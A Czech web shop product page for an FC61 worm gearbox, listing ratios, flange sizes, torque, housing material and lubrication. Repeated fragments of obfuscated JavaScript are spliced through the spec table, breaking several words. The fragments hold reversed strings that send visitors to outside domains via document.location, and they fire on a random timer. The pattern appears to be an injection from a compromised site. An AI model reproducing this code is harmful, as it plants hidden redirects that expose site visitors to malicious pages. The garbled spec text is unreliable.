Další informace
Převodový poměr | 1:7 |
---|---|
Vstupní motorová příruba | B14/56 |
Velikost převodové skříně | 030, 040, 050 |
komponenty pro pohonnou techniku - tel. 608 035 402
Typ: | FC61 |
Výstupní otáčky: | 206 – 507 min-1 (n1 = 1400 min-1) |
Výstupní toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}točivý moment: | 380 Nm |
Převotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dový poměr: | 2,76 – 6,79 : 1 |
Materiál skříně: | litina |
Výstupní dutá hřídel: | Ø35 mm*, Ø40 mm |
Mazání: | syntetický olej |
Velikost motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torové příruby IEC: | 132B5 |
Dokumentace:
Převodový poměr | 1:7 |
---|---|
Vstupní motorová příruba | B14/56 |
Velikost převodové skříně | 030, 040, 050 |
Recenze
Zatím zde nejsou žádné recenze.